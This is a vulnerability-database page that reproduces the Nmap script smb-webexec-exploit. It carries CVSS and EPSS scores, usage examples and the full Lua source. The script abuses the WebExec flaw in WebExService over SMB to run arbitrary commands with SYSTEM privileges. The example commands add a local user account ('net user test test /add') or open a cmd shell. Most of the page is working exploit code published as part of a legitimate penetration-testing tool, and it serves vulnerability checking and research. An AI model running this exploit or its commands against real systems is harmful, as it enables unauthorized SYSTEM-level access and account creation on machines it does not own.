Lucene search

K
nmapRon BowesNMAP:SMB-WEBEXEC-EXPLOIT.NSE
HistoryOct 24, 2018 - 4:14 p.m.

smb-webexec-exploit NSE Script

2018-10-2416:14:43
Ron Bowes
nmap.org
468

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

Attempts to run a command via WebExService, using the WebExec vulnerability. Given a Windows account (local or domain), this will start an arbitrary executable with SYSTEM privileges over the SMB protocol.

The argument webexec_command will run the command directly. It may or may not start with a GUI. webexec_gui_command will always start with a GUI, and is useful for running commands such as “cmd.exe” as SYSTEM if you have access.

References:

See also:

Script Arguments

webexec_gui_command

The command to run on the target with a GUI

webexec_command

The command to run on the target

randomseed, smbbasic, smbport, smbsign

See the documentation for the smb library.

smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername

See the documentation for the smbauth library.

Example Usage

nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_command=net user test test /add' -p139,445 <host>
nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_gui_command=cmd' -p139,445 <host>

Script Output

| smb-vuln-webexec:
|_  Vulnerable: WebExService could be accessed remotely as the given user!

| smb-vuln-webexec:
|   Vulnerable: WebExService could be accessed remotely as the given user!
|_  ...and successfully started console command: net user test test /add

Requires


local msrpc = require "msrpc"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local shortport = require "shortport"
-- compat stuff for Nmap 7.70 and earlier
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit

description = [[
Attempts to run a command via WebExService, using the WebExec vulnerability.
Given a Windows account (local or domain), this will start an arbitrary
executable with SYSTEM privileges over the SMB protocol.

The argument webexec_command will run the command directly. It may or may not
start with a GUI. webexec_gui_command will always start with a GUI, and is
useful for running commands such as "cmd.exe" as SYSTEM if you have access.

References:
* https://www.webexec.org
* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
]]

---
-- @usage
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_command=net user test test /add' -p139,445 <host>
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_gui_command=cmd' -p139,445 <host>
--
-- @args webexec_command The command to run on the target
-- @args webexec_gui_command The command to run on the target with a GUI
--
-- @output
-- | smb-vuln-webexec:
-- |_  Vulnerable: WebExService could be accessed remotely as the given user!
--
-- | smb-vuln-webexec:
-- |   Vulnerable: WebExService could be accessed remotely as the given user!
-- |_  ...and successfully started console command: net user test test /add
--
-- @see smb-vuln-webexec.nse

author = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit"}

portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")

local run_command = function(smbstate, service_handle, command)
  stdnse.debug1("Attempting to run: " .. command)

  return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command))
end

action = function(host, port)

  local webexec_command = stdnse.get_script_args("webexec_command")
  local webexec_gui_command = stdnse.get_script_args("webexec_gui_command")

  if not webexec_command and not webexec_gui_command then
    return stdnse.format_output(false, "script-args webexec_command or webexec_gui_command is required to run this script")
  end

  local open_result
  local close_result
  local bind_result
  local result

  local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
  if not status then
    return stdnse.format_output(false, smbstate)
  end

  status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)

  if not status then
    smb.stop(smbstate)
    return stdnse.format_output(false, bind_result)
  end

  local result, username, domain = smb.get_account(host)
  if result then
    if domain and domain ~= "" then
      username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
    end
  end

  -- Open the service manager
  stdnse.debug1("Trying to open the remote service manager")

  status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)

  if not status then
    smb.stop(smbstate)
    return stdnse.format_output(false, open_result)
  end

  local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)

  if open_status == false then
    status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
    smb.stop(smbstate)
    if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
      return stdnse.format_output(false, "WebExService is not installed")
    elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
      return stdnse.format_output(false, "WebExService could not be accessed by " .. username)
    end
    return stdnse.format_output(false, "WebExService failed to open with an unknown status: " .. open_service_result)
  end


  stdnse.debug1("Successfully opened a handle to WebExService")

  local output = nil
  if webexec_command then
    status, result = run_command(smbstate, open_service_result['handle'], 'cmd /c ' .. webexec_command)
    if not status then
      output = "Failed to start the service: " .. result
    else
      output = "Asked WebExService to run " .. webexec_command
    end
  end

  if webexec_gui_command then
    -- If they run both, give the first one a second to finish
    if webexec_command then
      stdnse.sleep(1)
    end

    status, result = run_command(smbstate, open_service_result['handle'], 'wmic process call create ' .. webexec_gui_command)
    if not status then
      output = "Failed to start the service: " .. result
    else
      output = "Asked WebExService to run " .. webexec_gui_command .. " (with a GUI)"
    end
  end

  status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
  smb.stop(smbstate)
  return output
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

Related for NMAP:SMB-WEBEXEC-EXPLOIT.NSE